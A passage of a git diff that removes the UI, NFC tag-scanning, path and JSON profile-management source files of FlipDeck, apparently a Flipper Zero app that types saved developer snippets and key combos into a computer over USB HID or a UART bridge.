ui_ctx, InputEvent* event) { - FlipDeckApp* app = ui_ctx->app_ctx; - if(event->type != InputTypeShort) return; - - switch(event->key) { - case InputKeyOk: { - FlipDeckAction* action = flipdeck_ui_get_selected_action(ui_ctx); - if(!action) { - app->state = FlipDeckState_ActionBrowser; - break; - } - bool ok; - if(action->target == FlipDeckActionTarget_WifiUart) { - ok = uart_bridge_send_string(action->value); - } else { - ok = usb_hid_send_string(action->value); - } - flipdeck_ui_set_send_status(app, action, ok); - app->state = FlipDeckState_ActionBrowser; - break; - } - case InputKeyBack: - app->state = FlipDeckState_ActionBrowser; - break; - default: - break; - } -} - -// Record the outcome of a send as a short status_message (drawn as a footer -// toast in the action browser) and, on success, apply the post-send delay: -// the action's own delay_ms if set, otherwise the global send_delay_ms. -static void flipdeck_ui_set_send_status(FlipDeckApp* app, FlipDeckAction* action, bool ok) { - if(ok) { - snprintf(app->status_message, sizeof(app->status_message), "Sent"); - uint32_t delay = action->delay_ms ? action->delay_ms : app->settings.send_delay_ms; - if(delay) furi_delay_ms(delay); - return; - } - - if(action->target == FlipDeckActionTarget_WifiUart) { - snprintf( - app->status_message, sizeof(app->status_message), - uart_bridge_is_connected() ? "Send failed" : "Dev board off"); - } else { - snprintf( - app->status_message, sizeof(app->status_message), - usb_hid_is_connected() ? "Send failed" : "USB not connected"); - } -} - -static void flipdeck_ui_send_action(FlipDeckUi* ui_ctx, FlipDeckAction* action) { - FlipDeckApp* app = ui_ctx->app_ctx; - if(!action) return; - - if(!profile_manager_validate_action(action)) { - FURI_LOG_W("FlipDeck", "Blocked unsafe action"); - snprintf(app->status_message, sizeof(app->status_message), "Blocked: unsafe"); - return; - } - - bool ok = false; - if(action->type == FlipDeckActionType_Text) { - if(strlen(action->value) > FLIPDECK_MAX_SNIPPET_LENGTH_WARN) { - app->state = FlipDeckState_LongSnippetWarning; - return; - } - if(action->target == FlipDeckActionTarget_WifiUart) { - ok = uart_bridge_send_string(action->value); - } else { - ok = usb_hid_send_string(action->value); - } - } else if(action->type == FlipDeckActionType_Key) { - ok = usb_hid_send_key(action->value); - } else if(action->type == FlipDeckActionType_KeyCombo) { - ok = usb_hid_send_key_combo(action->value); - } - - flipdeck_ui_set_send_status(app, action, ok); -} diff --git a/src/flipdeck_ui.h b/src/flipdeck_ui.h deleted file mode 100644 index df27a59..0000000 --- a/src/flipdeck_ui.h +++ /dev/null @@ -1,79 +0,0 @@ -/** - * @file flipdeck_ui.h - * @brief FlipDeck User Interface - */ - -#ifndef FLIPDECK_UI_H -#define FLIPDECK_UI_H - -#include -#include "flipdeck_app.h" - -/** - * @brief Initialize the UI system - * @param app_ctx Application context - */ -void flipdeck_ui_init(FlipDeckApp* app_ctx); - -/** - * @brief Free UI resources - */ -void flipdeck_ui_free(void); - -/** - * @brief Handle category browser view - * @param furi Furi object - */ -void flipdeck_ui_handle_category_browser(void); - -/** - * @brief Handle action browser view - * @param furi Furi object - */ -void flipdeck_ui_handle_action_browser(void); - -/** - * @brief Open the pinned startup/"home" category (if any) directly into the - * action browser, bypassing the category browser. Call once after - * flipdeck_ui_init(). No-op if no startup category is pinned or it no - * longer exists. - * @return true if a startup category was opened - */ -bool flipdeck_ui_try_open_startup_category(void); - -/** - * @brief Handle send confirmation dialog - * @param furi Furi object - */ -void flipdeck_ui_handle_confirm(void); - -/** - * @brief Handle settings screen - * @param furi Furi object - */ -void flipdeck_ui_handle_settings(void); - -/** - * @brief Handle long snippet warning screen - */ -void flipdeck_ui_handle_long_snippet_warning(void); - -/** - * @brief Handle the NFC scan screen. Called every main-loop tick while - * FlipDeckState_NfcScan is active: starts scanning on first entry, polls - * for a detected tag, and on detection either jumps to SendConfirm (known - * tag) or into the category/action browser in tag-binding mode (unknown - * tag). - */ -void flipdeck_ui_handle_nfc_scan(void); - -/** - * @brief Handle the Sub-GHz scan screen. Called every main-loop tick while - * FlipDeckState_SubghzScan is active: starts scanning on first entry, polls - * for a decoded signal, and on detection either jumps to SendConfirm (known - * remote) or into the category/action browser in binding mode (unknown - * remote). Receive only - see subghz_bridge.c for why. - */ -void flipdeck_ui_handle_subghz_scan(void); - -#endif // FLIPDECK_UI_H diff --git a/src/nfc_bridge.c b/src/nfc_bridge.c deleted file mode 100644 index 512abbf..0000000 --- a/src/nfc_bridge.c +++ /dev/null @@ -1,174 +0,0 @@ -/** - * @file nfc_bridge.c - * @brief NFC tag scanning bridge implementation - * - * ############################################################################ - * # VERIFIED AGAINST REAL FIRMWARE HEADERS, NOT AGAINST REAL FIRMWARE - * # - * # There is no fbt/ufbt toolchain available in this environment (its SDK - * # download is blocked by network policy here), so this could not go - * # through a real build. It WAS syntax/type-checked with gcc -fsyntax-only - * # -Wall -Wextra -Wpedantic against the actual, current - * # lib/nfc/{nfc,nfc_device,nfc_scanner,nfc_poller}.h and its protocols headers, from - * # flipperdevices/flipperzero-firmware (dev branch) - not hand-typed - * # guesses at their contents - and came back clean. Every function call, - * # struct field, and typedef used below (nfc_scanner_alloc/start/stop/free, - * # NfcScannerEvent.{type,data.protocol_num,data.protocols}, nfc_poller_alloc/ - * # start/stop/free/get_data/get_protocol, NfcCommand/NfcCommandStop, - * # nfc_device_alloc/free/set_data/get_uid) matches the real header exactly. - * # - * # What that does NOT cover: linking against the real compiled library, - * # runtime behavior (timing, threading, actual hardware I/O), whether this - * # specific firmware build's headers differ from the fetched dev-branch - * # snapshot, and Momentum-firmware-specific differences if any. Build and - * # flash this on real hardware before trusting it end-to-end. - * ############################################################################ - */ - -#include "nfc_bridge.h" -#include "profile_manager.h" -#include -#include - -#ifndef UFBT_HOST_BUILD -#include -#include -#include -#include - -static Nfc* nfc_handle = NULL; -static NfcScanner* scanner = NULL; -static NfcPoller* poller = NULL; -static FuriMutex* nfc_bridge_mutex = NULL; -static char pending_uid_hex[FLIPDECK_NFC_UID_HEX_LEN]; -static bool pending_uid_ready = false; - -static void nfc_bridge_free_poller(void) { - if(poller) { - nfc_poller_stop(poller); - nfc_poller_free(poller); - poller = NULL; - } -} - -static void nfc_bridge_free_scanner(void) { - if(scanner) { - nfc_scanner_stop(scanner); - nfc_scanner_free(scanner); - scanner = NULL; - } -} - -// Runs on the NFC worker thread. Reads exactly once, latches the UID behind -// the mutex for nfc_bridge_poll_tag() to pick up on the main thread, then -// tells the poller to stop - this bridge is single-shot per scan session by -// design (rescan is an explicit nfc_bridge_start_scan() call). -static NfcCommand nfc_bridge_poller_callback(NfcGenericEvent event, void* context) { - UNUSED(context); - UNUSED(event); - - const NfcDeviceData* data = nfc_poller_get_data(poller); - if(data) { - NfcDevice* device = nfc_device_alloc(); - nfc_device_set_data(device, nfc_poller_get_protocol(poller), data); - - size_t uid_len = 0; - const uint8_t* uid = nfc_device_get_uid(device, &uid_len); - - furi_mutex_acquire(nfc_bridge_mutex, FuriWaitForever); - if(profile_manager_hex_encode_uid(uid, uid_len, pending_uid_hex, sizeof(pending_uid_hex))) { - pending_uid_ready = true; - } - furi_mutex_release(nfc_bridge_mutex); - - nfc_device_free(device); - } - - return NfcCommandStop; -} - -// Runs on the NFC worker thread. A protocol was detected during the generic -// scan; hand off to a protocol-specific poller to actually read the UID. -static void nfc_bridge_scanner_callback(NfcScannerEvent event, void* context) { - UNUSED(context); - if(event.type != NfcScannerEventTypeDetected) return; - if(event.data.protocol_num == 0) return; - - nfc_bridge_free_scanner(); - - poller = nfc_poller_alloc(nfc_handle, event.data.protocols[0]); - nfc_poller_start(poller, nfc_bridge_poller_callback, NULL); -} - -bool nfc_bridge_init(void) { - nfc_handle = nfc_alloc(); - nfc_bridge_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - return nfc_handle != NULL && nfc_bridge_mutex != NULL; -} - -void nfc_bridge_deinit(void) { - nfc_bridge_stop_scan(); - if(nfc_bridge_mutex) { - furi_mutex_free(nfc_bridge_mutex); - nfc_bridge_mutex = NULL; - } - if(nfc_handle) { - nfc_free(nfc_handle); - nfc_handle = NULL; - } -} - -void nfc_bridge_start_scan(void) { - if(scanner || poller) return; // already scanning/reading - if(!nfc_handle) return; - - furi_mutex_acquire(nfc_bridge_mutex, FuriWaitForever); - pending_uid_ready = false; - furi_mutex_release(nfc_bridge_mutex); - - scanner = nfc_scanner_alloc(nfc_handle); - nfc_scanner_start(scanner, nfc_bridge_scanner_callback, NULL); -} - -void nfc_bridge_stop_scan(void) { - nfc_bridge_free_poller(); - nfc_bridge_free_scanner(); -} - -bool nfc_bridge_poll_tag(char* uid_hex_out, size_t out_size) { - bool ready = false; - - furi_mutex_acquire(nfc_bridge_mutex, FuriWaitForever); - if(pending_uid_ready) { - strncpy(uid_hex_out, pending_uid_hex, out_size - 1); - uid_hex_out[out_size - 1] = '\0'; - pending_uid_ready = false; - ready = true; - } - furi_mutex_release(nfc_bridge_mutex); - - if(ready) nfc_bridge_stop_scan(); - return ready; -} - -#else /* UFBT_HOST_BUILD */ - -// This file is hardware-only and isn't part of the host test build (see -// tests/host/Makefile), but stubs are provided so nothing breaks if a future -// host target ever pulls it in. -bool nfc_bridge_init(void) { - return false; -} -void nfc_bridge_deinit(void) { -} -void nfc_bridge_start_scan(void) { -} -void nfc_bridge_stop_scan(void) { -} -bool nfc_bridge_poll_tag(char* uid_hex_out, size_t out_size) { - UNUSED(uid_hex_out); - UNUSED(out_size); - return false; -} - -#endif diff --git a/src/nfc_bridge.h b/src/nfc_bridge.h deleted file mode 100644 index f1326dd..0000000 --- a/src/nfc_bridge.h +++ /dev/null @@ -1,60 +0,0 @@ -/** - * @file nfc_bridge.h - * @brief NFC tag scanning bridge for FlipDeck - * - * Mirrors uart_bridge.h's shape: isolates the hardware-specific NFC calls - * behind a small interface so flipdeck_ui.c never touches Nfc/NfcScanner/ - * NfcPoller types directly. - * - * Detection happens on the NFC worker thread (scanner/poller callbacks), not - * the UI thread. Rather than exposing that callback directly - which would - * require every caller to reason about cross-thread UI state mutation - this - * bridge latches the result behind a mutex and exposes it via - * nfc_bridge_poll_tag(), meant to be called once per flipdeck_app_loop() - * tick (already running at a steady 50ms cadence) while a scan is active. - */ - -#ifndef NFC_BRIDGE_H -#define NFC_BRIDGE_H - -#include -#include - -/** - * @brief Acquire the NFC hardware handle. Call once at app startup. - * @return true if the handle was acquired successfully - */ -bool nfc_bridge_init(void); - -/** - * @brief Release NFC resources. Call once at app shutdown. - */ -void nfc_bridge_deinit(void); - -/** - * @brief Begin scanning for a tag. Idempotent - calling this while a scan - * is already in progress is a no-op. - */ -void nfc_bridge_start_scan(void); - -/** - * @brief Stop any in-progress scan/read without waiting for a result. - */ -void nfc_bridge_stop_scan(void); - -/** - * @brief Check whether a tag was detected since the last call, or since - * nfc_bridge_start_scan(). Call this once per main-loop tick while - * FlipDeckState_NfcScan is active. - * - * On a true return, scanning has already been stopped (single-shot per - * scan session) - call nfc_bridge_start_scan() again to re-arm. - * - * @param uid_hex_out Buffer to receive the uppercase hex UID - * (size at least FLIPDECK_NFC_UID_HEX_LEN, see profile_manager.h) - * @param out_size Size of uid_hex_out - * @return true if a tag was detected and uid_hex_out is valid - */ -bool nfc_bridge_poll_tag(char* uid_hex_out, size_t out_size); - -#endif // NFC_BRIDGE_H diff --git a/src/paths.h b/src/paths.h deleted file mode 100644 index 889ccd8..0000000 --- a/src/paths.h +++ /dev/null @@ -1,37 +0,0 @@ -/** - * @file paths.h - * @brief Canonical device paths for FlipDeck. - * - * This is the single source of truth for device paths across all layers - * (C app, web installer, desktop helper). Update this file when the - * device path structure changes. - */ - -#ifndef FLIPDECK_PATHS_H -#define FLIPDECK_PATHS_H - -/** - * On-device base paths (Flipper Zero SD card layout) - */ -#define FLIPDECK_DATA_PATH "/ext/apps_data/flipdeck" -#define FLIPDECK_PROFILES_PATH "/ext/apps_data/flipdeck/profiles" -#define FLIPDECK_SNIPPETS_PATH "/ext/apps_data/flipdeck/snippets" -#define FLIPDECK_SETTINGS_PATH "/ext/apps_data/flipdeck/settings.json" -#define FLIPDECK_NFC_TAGS_PATH "/ext/apps_data/flipdeck/nfc_tags.json" -#define FLIPDECK_SUBGHZ_REMOTES_PATH "/ext/apps_data/flipdeck/subghz_remotes.json" -#define FLIPDECK_LOGS_PATH "/ext/apps_data/flipdeck/logs" -#define FLIPDECK_APP_PATH "/ext/apps/Tools/flipdeck.fap" - -/** - * Helper macro to build a profile path by ID. - * Usage: char path[64]; snprintf(path, sizeof(path), FLIPDECK_PROFILE_PATH("git")); - */ -#define FLIPDECK_PROFILE_PATH(id) FLIPDECK_PROFILES_PATH "/" id ".json" - -/** - * Helper macro to build a snippet path by filename. - * Usage: char path[64]; snprintf(path, sizeof(path), FLIPDECK_SNIPPET_PATH("docker.txt")); - */ -#define FLIPDECK_SNIPPET_PATH(filename) FLIPDECK_SNIPPETS_PATH "/" filename - -#endif diff --git a/src/profile_manager.c b/src/profile_manager.c deleted file mode 100644 index 795700d..0000000 --- a/src/profile_manager.c +++ /dev/null @@ -1,958 +0,0 @@ -/** - * @file profile_manager.c - * @brief Profile management implementation for SD card JSON profiles - */ - -#include "profile_manager.h" -#include "flipdeck_app.h" -#include "paths.h" -#include -#include -#include -#include -#include -#include -#include - -#define PROFILE_BASE_PATH FLIPDECK_PROFILES_PATH -#define SETTINGS_PATH FLIPDECK_SETTINGS_PATH -#define NFC_TAGS_PATH FLIPDECK_NFC_TAGS_PATH -#define SUBGHZ_REMOTES_PATH FLIPDECK_SUBGHZ_REMOTES_PATH - -static void storage_ensure_flipdeck_dirs(Storage* storage) { - storage_common_mkdir(storage, "/ext/apps_data"); - storage_common_mkdir(storage, FLIPDECK_DATA_PATH); - storage_common_mkdir(storage, PROFILE_BASE_PATH); -} - -static bool read_text_file(const char* path, char* buffer, size_t buffer_size) { - Storage* storage = furi_record_open(RECORD_STORAGE); - File* file = storage_file_alloc(storage); - bool ok = false; - - if(storage_file_open(file, path, FSAM_READ, FSOM_OPEN_EXISTING)) { - size_t bytes_read = storage_file_read(file, buffer, buffer_size - 1); - buffer[bytes_read] = '\0'; - ok = true; - } - - storage_file_close(file); - storage_file_free(file); - furi_record_close(RECORD_STORAGE); - return ok; -} - -static bool write_text_file(const char* path, const char* content) { - Storage* storage = furi_record_open(RECORD_STORAGE); - storage_ensure_flipdeck_dirs(storage); - - File* file = storage_file_alloc(storage); - bool ok = false; - - if(storage_file_open(file, path, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { - ok = storage_file_write(file, content, strlen(content)) == strlen(content); - } - - storage_file_close(file); - storage_file_free(file); - furi_record_close(RECORD_STORAGE); - return ok; -} - -// Simple string helpers for JSON parsing (no external library) -static char* find_json_string(char* json, const char* key, char* output, size_t max_len) { - char search_key[64]; - snprintf(search_key, sizeof(search_key), "\"%s\"", key); - char* pos = strstr(json, search_key); - if(!pos) return NULL; - - pos = strstr(pos, ":"); - if(!pos) return NULL; - - // Find opening quote - pos = strchr(pos, '"'); - if(!pos) return NULL; - pos++; - - // Find closing quote - char* end = strchr(pos, '"'); - if(!end) return NULL; - - size_t len = end - pos; - if(len >= max_len) len = max_len - 1; - strncpy(output, pos, len); - output[len] = '\0'; - return output; -} - -static bool find_json_bool(char* json, const char* key, bool default_val) { - char search_key[64]; - snprintf(search_key, sizeof(search_key), "\"%s\"", key); - char* pos = strstr(json, search_key); - if(!pos) return default_val; - - pos = strstr(pos, ":"); - if(!pos) return default_val; - - if(strstr(pos, "true")) return true; - if(strstr(pos, "false")) return false; - return default_val; -} - -// Parse an unsigned integer value for `key`. Returns the parsed number, or -// `default_val` when the key is absent or has no digits after the colon. -static uint32_t find_json_uint(char* json, const char* key, uint32_t default_val) { - char search_key[64]; - snprintf(search_key, sizeof(search_key), "\"%s\"", key); - char* pos = strstr(json, search_key); - if(!pos) return default_val; - - pos = strstr(pos, ":"); - if(!pos) return default_val; - pos++; - - // Skip whitespace, then require at least one digit. - while(*pos == ' ' || *pos == '\t') pos++; - if(*pos < '0' || *pos > '9') return default_val; - - uint32_t value = 0; - while(*pos >= '0' && *pos <= '9') { - value = (value * 10) + (uint32_t)(*pos - '0'); - pos++; - } - return value; -} - -FlipDeckActionType parse_action_type(char* json) { - char type_str[16]; - if(find_json_string(json, "type", type_str, sizeof(type_str))) { - if(strcmp(type_str, "key_combo") == 0) return FlipDeckActionType_KeyCombo; - if(strcmp(type_str, "key") == 0) return FlipDeckActionType_Key; - } - return FlipDeckActionType_Text; -} - -FlipDeckActionTarget parse_action_target(char* json) { - char target_str[16]; - if(find_json_string(json, "target", target_str, sizeof(target_str))) { - if(strcmp(target_str, "wifi_uart") == 0) return FlipDeckActionTarget_WifiUart; - } - return FlipDeckActionTarget_Usb; -} - -bool profile_manager_load_all_categories(FlipDeckProfileCategory* categories, uint32_t* count) { - FURI_LOG_I("FlipDeck", "Loading all profile categories"); - - *count = 0; - - Storage* storage = furi_record_open(RECORD_STORAGE); - storage_ensure_flipdeck_dirs(storage); - - File* dir = storage_file_alloc(storage); - if(!storage_dir_open(dir, PROFILE_BASE_PATH)) { - FURI_LOG_W("FlipDeck", "Profiles directory not found"); - storage_dir_close(dir); - storage_file_free(dir); - furi_record_close(RECORD_STORAGE); - return false; - } - - char filename[64]; - while(storage_dir_read(dir, NULL, filename, sizeof(filename)) && *count < FLIPDECK_MAX_CATEGORIES) { - if(strstr(filename, ".json")) { - char category_id[32]; - strncpy(category_id, filename, sizeof(category_id) - 1); - category_id[sizeof(category_id) - 1] = '\0'; - size_t len = strlen(filename); - if(len > 5 && strcmp(filename + len - 5, ".json") == 0) { - category_id[len - 5] = '\0'; - } - - strncpy(categories[*count].id, category_id, sizeof(categories[*count].id) - 1); - categories[*count].id[sizeof(categories[*count].id) - 1] = '\0'; - categories[*count].action_count = 0; - (*count)++; - } - } - - storage_dir_close(dir); - storage_file_free(dir); - furi_record_close(RECORD_STORAGE); - FURI_LOG_I("FlipDeck", "Loaded %" PRIu32 " categories", *count); - return *count > 0; -} - -bool profile_manager_load_category(const char* category_id, FlipDeckProfileCategory* category) { - FURI_LOG_I("FlipDeck", "Loading category: %s", category_id); - - char path[128]; - snprintf(path, sizeof(path), "%s/%s.json", PROFILE_BASE_PATH, category_id); - - // Read file content. The buffer is static (not a 2KB stack frame) because - // the FAP stack is only 4096 bytes and this runs mid-navigation; the app is - // single-threaded and this function is not re-entrant, so a shared buffer is safe. - static char buffer[2048]; - if(!read_text_file(path, buffer, sizeof(buffer))) { - FURI_LOG_E("FlipDeck", "Category file not found: %s", path); - return false; - } - - // Clear stale data before parsing: find_json_string() leaves its output - // buffer untouched when a key is absent, and `category` is reused across - // multiple loads (it lives in a long-lived global, not a fresh stack - // frame), so a field missing from this profile's JSON must not inherit - // a previous profile's value. - memset(category, 0, sizeof(*category)); - - // Parse JSON - find_json_string(buffer, "name", category->name, sizeof(category->name)); - find_json_string(buffer, "id", category->id, sizeof(category->id)); - find_json_string(buffer, "description", category->description, sizeof(category->description)); - find_json_string(buffer, "category", category->category, sizeof(category->category)); - find_json_string(buffer, "icon", category->icon, sizeof(category->icon)); - - // Find actions array - category->action_count = 0; - char* actions_start = strstr(buffer, "\"commands\""); - if(!actions_start) { - actions_start = strstr(buffer, "\"actions\""); - } - if(actions_start) { - char* arr_start = strchr(actions_start, '['); - char* arr_end = strrchr(buffer, ']'); - - if(arr_start && arr_end && arr_end > arr_start) { - // Parse each action - char* pos = arr_start + 1; - while(pos < arr_end && category->action_count < FLIPDECK_MAX_ACTIONS_PER_CATEGORY) { - char* action_end = strchr(pos, '}'); - if(!action_end) break; - - // Find the opening brace - char* action_start = pos; - while(pos < action_end && *pos != '{') pos++; - if(pos >= action_end) break; - action_start = pos; - - // Create a mini JSON for this action. Fail safe: if the action - // does not fit, skip it entirely rather than truncating and then - // validating a partial command (which could drop the dangerous - // tail of a string past the buffer). - char action_json[512]; - uint32_t action_len = action_end - action_start + 1; - if(action_len >= sizeof(action_json)) { - FURI_LOG_W( - "FlipDeck", - "Skipping oversized action (%" PRIu32 " bytes)", - action_len); - pos = action_end + 1; - continue; - } - strncpy(action_json, action_start, action_len); - action_json[action_len] = '\0'; - - // Parse action fields - find_json_string(action_json, "label", category->actions[category->action_count].label, - sizeof(category->actions[category->action_count].label)); - find_json_string(action_json, "value", category->actions[category->action_count].value, - sizeof(category->actions[category->action_count].value)); - category->actions[category->action_count].type = parse_action_type(action_json); - category->actions[category->action_count].confirm = - find_json_bool( - action_json, - "confirmation_required", - find_json_bool(action_json, "confirm", true)); - category->actions[category->action_count].target = parse_action_target(action_json); - category->actions[category->action_count].delay_ms = - find_json_uint(action_json, "delay_ms", 0); - - category->action_count++; - pos = action_end + 1; - } - } - } - - FURI_LOG_I("FlipDeck", "Loaded category '%s' with %" PRIu32 " actions", category->name, category->action_count); - return true; -} - -bool profile_manager_save_category(FlipDeckProfileCategory* category) { - FURI_LOG_I("FlipDeck", "Saving category: %s", category->name); - - if(!category || !category->id[0]) { - FURI_LOG_E("FlipDeck", "Invalid category for saving"); - return false; - } - - char path[128]; - snprintf(path, sizeof(path), "%s/%s.json", PROFILE_BASE_PATH, category->id); - - // Build JSON content. Static for the same reason as load_category's buffer: - // a 4KB local would overflow the 4096-byte FAP stack. Single-threaded, not re-entrant. - static char json[4096]; - uint32_t offset = 0; - offset += snprintf(json + offset, sizeof(json) - offset, - "{\n \"name\": \"%s\",\n \"id\": \"%s\",\n \"description\": \"%s\",\n \"actions\": [\n", - category->name, category->id, category->description); - - for(uint32_t i = 0; i < category->action_count && offset < sizeof(json) - 64; i++) { - FlipDeckAction* action = &category->actions[i]; - const char* type_str = "text"; - if(action->type == FlipDeckActionType_Key) type_str = "key"; - else if(action->type == FlipDeckActionType_KeyCombo) type_str = "key_combo"; - - // Escape quotes in value - char escaped_value[FLIPDECK_MAX_COMMAND_LENGTH]; - uint32_t e = 0; - for(uint32_t j = 0; action->value[j] && e < sizeof(escaped_value) - 1; j++) { - if(action->value[j] == '"') escaped_value[e++] = '\\'; - escaped_value[e++] = action->value[j]; - } - escaped_value[e] = '\0'; - - // Escape quotes in label - char escaped_label[64]; - uint32_t el = 0; - for(uint32_t j = 0; action->label[j] && el < sizeof(escaped_label) - 1; j++) { - if(action->label[j] == '"') escaped_label[el++] = '\\'; - escaped_label[el++] = action->label[j]; - } - escaped_label[el] = '\0'; - - const char* target_str = action->target == FlipDeckActionTarget_WifiUart ? "wifi_uart" : "usb_hid"; - - offset += snprintf(json + offset, sizeof(json) - offset, - " {\"label\": \"%s\", \"type\": \"%s\", \"value\": \"%s\", \"confirm\": %s, \"target\": \"%s\", \"delay_ms\": %lu}%s\n", - escaped_label, type_str, escaped_value, - action->confirm ? "true" : "false", - target_str, - (unsigned long)action->delay_ms, - (i < category->action_count - 1) ? "," : ""); - } - - offset += snprintf(json + offset, sizeof(json) - offset, " ]\n}\n"); - - if(!write_text_file(path, json)) { - FURI_LOG_E("FlipDeck", "Failed to open file for writing: %s", path); - return false; - } - - FURI_LOG_I("FlipDeck", "Saved category '%s' to %s", category->name, path); - return true; -} - -bool profile_manager_list_categories(char category_ids[][32], uint32_t* count) { - FURI_LOG_I("FlipDeck", "Listing categories"); - - *count = 0; - - Storage* storage = furi_record_open(RECORD_STORAGE); - storage_ensure_flipdeck_dirs(storage); - - File* dir = storage_file_alloc(storage); - if(!storage_dir_open(dir, PROFILE_BASE_PATH)) { - // Create default categories including new profiles - const char* defaults[] = {"git", "node", "python", "docker", "system", "snippets", "aws", "vscode", "presentation"}; - for(int i = 0; i < 9; i++) { - if(category_ids) { - strncpy(category_ids[*count], defaults[i], 31); - category_ids[*count][31] = '\0'; - } - (*count)++; - } - storage_dir_close(dir); - storage_file_free(dir); - furi_record_close(RECORD_STORAGE); - return true; - } - - char filename[64]; - while(storage_dir_read(dir, NULL, filename, sizeof(filename)) && *count < FLIPDECK_MAX_CATEGORIES) { - if(strstr(filename, ".json")) { - if(category_ids) { - strncpy(category_ids[*count], filename, 31); - category_ids[*count][31] = '\0'; - } - size_t len = strlen(filename); - if(len > 5 && strcmp(filename + len - 5, ".json") == 0) { - if(category_ids) { - category_ids[*count][len - 5] = '\0'; - } - } - (*count)++; - } - } - - storage_dir_close(dir); - storage_file_free(dir); - furi_record_close(RECORD_STORAGE); - return *count > 0; -} - -// Parse a `"favorites": [ {"category_id": "...", "label": "..."}, ... ]` array -// into settings->favorites. Mirrors the action-array parsing in -// profile_manager_load_category: scan `{...}` objects between the array's `[` -// and `]`, stopping at FLIPDECK_MAX_FAVORITES. -static void parse_favorites(char* json, FlipDeckSettings* settings) { - settings->favorite_count = 0; - - char* arr_start = strstr(json, "\"favorites\""); - if(!arr_start) return; - arr_start = strchr(arr_start, '['); - if(!arr_start) return; - char* arr_end = strchr(arr_start, ']'); - if(!arr_end) return; - - char* pos = arr_start + 1; - while(pos < arr_end && settings->favorite_count < FLIPDECK_MAX_FAVORITES) { - char* obj_start = strchr(pos, '{'); - if(!obj_start || obj_start >= arr_end) break; - char* obj_end = strchr(obj_start, '}'); - if(!obj_end || obj_end > arr_end) break; - - char obj_json[160]; - uint32_t obj_len = obj_end - obj_start + 1; - if(obj_len < sizeof(obj_json)) { - strncpy(obj_json, obj_start, obj_len); - obj_json[obj_len] = '\0'; - - FlipDeckFavorite* fav = &settings->favorites[settings->favorite_count]; - find_json_string(obj_json, "category_id", fav->category_id, sizeof(fav->category_id)); - find_json_string(obj_json, "label", fav->label, sizeof(fav->label)); - if(fav->category_id[0] && fav->label[0]) { - settings->favorite_count++; - } - } - - pos = obj_end + 1; - } -} - -bool profile_manager_load_settings(FlipDeckSettings* settings) { - FURI_LOG_I("FlipDeck", "Loading settings"); - - char buffer[1024]; - if(!read_text_file(SETTINGS_PATH, buffer, sizeof(buffer))) { - FURI_LOG_W("FlipDeck", "No settings file found"); - goto default_settings; - } - - // Parse settings with defaults - settings->send_delay_ms = 100; - settings->confirm_before_send = find_json_bool(buffer, "confirm_before_send", true); - settings->auto_detect_usb = find_json_bool(buffer, "auto_detect_usb", true); - settings->show_icons = find_json_bool(buffer, "show_icons", true); - settings->show_descriptions = find_json_bool(buffer, "show_descriptions", true); - find_json_string(buffer, "startup_category", settings->startup_category, - sizeof(settings->startup_category)); - parse_favorites(buffer, settings); - - return true; - -default_settings: - settings->send_delay_ms = 100; - settings->confirm_before_send = true; - settings->auto_detect_usb = true; - settings->show_icons = true; - settings->show_descriptions = true; - strcpy(settings->startup_category, ""); - settings->long_snippet_warn_state = 0; // Initialize new field - settings->favorite_count = 0; - return false; -} - -bool profile_manager_save_settings(FlipDeckSettings* settings) { - FURI_LOG_I("FlipDeck", "Saving settings"); - - if(!settings) { - FURI_LOG_E("FlipDeck", "Invalid settings for saving"); - return false; - } - - // Build JSON content. Static for the same reason as load_category's - // buffer: a 1KB+ local would eat too much of the 4096-byte FAP stack. - // Single-threaded, not re-entrant. - static char json[1536]; - uint32_t offset = 0; - offset += snprintf(json + offset, sizeof(json) - offset, - "{\n" - " \"confirm_before_send\": %s,\n" - " \"auto_detect_usb\": %s,\n" - " \"show_icons\": %s,\n" - " \"show_descriptions\": %s,\n" - " \"send_delay_ms\": %" PRIu32 ",\n" - " \"startup_category\": \"%s\",\n" - " \"favorites\": [\n", - settings->confirm_before_send ? "true" : "false", - settings->auto_detect_usb ? "true" : "false", - settings->show_icons ? "true" : "false", - settings->show_descriptions ? "true" : "false", - settings->send_delay_ms, - settings->startup_category); - - for(uint32_t i = 0; i < settings->favorite_count && offset < sizeof(json) - 96; i++) { - offset += snprintf(json + offset, sizeof(json) - offset, - " {\"category_id\": \"%s\", \"label\": \"%s\"}%s\n", - settings->favorites[i].category_id, - settings->favorites[i].label, - (i < settings->favorite_count - 1) ? "," : ""); - } - offset += snprintf(json + offset, sizeof(json) - offset, " ]\n}\n"); - - if(!write_text_file(SETTINGS_PATH, json)) { - FURI_LOG_E("FlipDeck", "Failed to open settings file for writing"); - return false; - } - - FURI_LOG_I("FlipDeck", "Settings saved successfully"); - return true; -} - -bool profile_manager_is_favorite( - const FlipDeckSettings* settings, - const char* category_id, - const char* label) { - if(!settings || !category_id || !label) return false; - for(uint32_t i = 0; i < settings->favorite_count; i++) { - if(strcmp(settings->favorites[i].category_id, category_id) == 0 && - strcmp(settings->favorites[i].label, label) == 0) { - return true; - } - } - return false; -} - -bool profile_manager_toggle_favorite( - FlipDeckSettings* settings, - const char* category_id, - const char* label) { - if(!settings || !category_id || !label) return false; - - for(uint32_t i = 0; i < settings->favorite_count; i++) { - if(strcmp(settings->favorites[i].category_id, category_id) == 0 && - strcmp(settings->favorites[i].label, label) == 0) { - // Remove by shifting the tail down, then shrink. - for(uint32_t j = i + 1; j < settings->favorite_count; j++) { - settings->favorites[j - 1] = settings->favorites[j]; - } - settings->favorite_count--; - return false; - } - } - - if(settings->favorite_count >= FLIPDECK_MAX_FAVORITES) return false; - - FlipDeckFavorite* fav = &settings->favorites[settings->favorite_count]; - strncpy(fav->category_id, category_id, sizeof(fav->category_id) - 1); - fav->category_id[sizeof(fav->category_id) - 1] = '\0'; - strncpy(fav->label, label, sizeof(fav->label) - 1); - fav->label[sizeof(fav->label) - 1] = '\0'; - settings->favorite_count++; - return true; -} - -bool profile_manager_hex_encode_uid( - const uint8_t* uid, - size_t uid_len, - char* out, - size_t out_size) { - if(!uid || !out) return false; - if(uid_len == 0 || out_size < (uid_len * 2) + 1) return false; - - static const char hex_digits[] = "0123456789ABCDEF"; - for(size_t i = 0; i < uid_len; i++) { - out[i * 2] = hex_digits[(uid[i] >> 4) & 0x0F]; - out[i * 2 + 1] = hex_digits[uid[i] & 0x0F]; - } - out[uid_len * 2] = '\0'; - return true; -} - -const FlipDeckNfcTag* profile_manager_find_nfc_tag( - const FlipDeckNfcTag* tags, - uint32_t count, - const char* uid_hex) { - if(!tags || !uid_hex) return 